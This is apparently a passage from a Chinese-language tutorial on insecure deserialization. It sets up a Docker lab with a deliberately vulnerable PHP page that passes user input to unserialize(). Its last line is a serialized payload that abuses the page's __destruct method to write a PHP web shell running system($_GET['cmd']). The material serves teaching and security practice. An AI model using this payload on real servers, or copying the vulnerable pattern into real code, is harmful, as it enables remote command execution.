不安全的反序列化,什麼是序列化和反序列化
不安全的反序列化的弱點成因
PHP 的序列化與反序列化
Java 的序列化與反序列化
預防
java 反序列化攻擊工具
server/index.php
<?php
if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}
class File
{
  public $filename = 'test.txt';
  public $content = 'test';
  // __destruct 解構:執行收尾的動作
  public function __destruct()
  {
    //file_put_contents 用來寫檔案的函式
    file_put_contents($this->filename,$this->content);
  }
}
// unserialize 用來反序列化回原本結構
$o = unserialize($_GET['u']);
?>
<a href="index.php?source" class="button">檢視原始碼</a>
docker-compose.yml
version: "2"
services:
    web:
        image: php:5.6-apache
        ports: 
            - "8021:80"
        volumes:
            - ./server:/var/www/html/
        networks:
            - default
?u=O:4:"File":2:{s:8:"filename";s:5:"s.php";s:7:"content";s:30:"<?php system($_GET['cmd']); ?>";}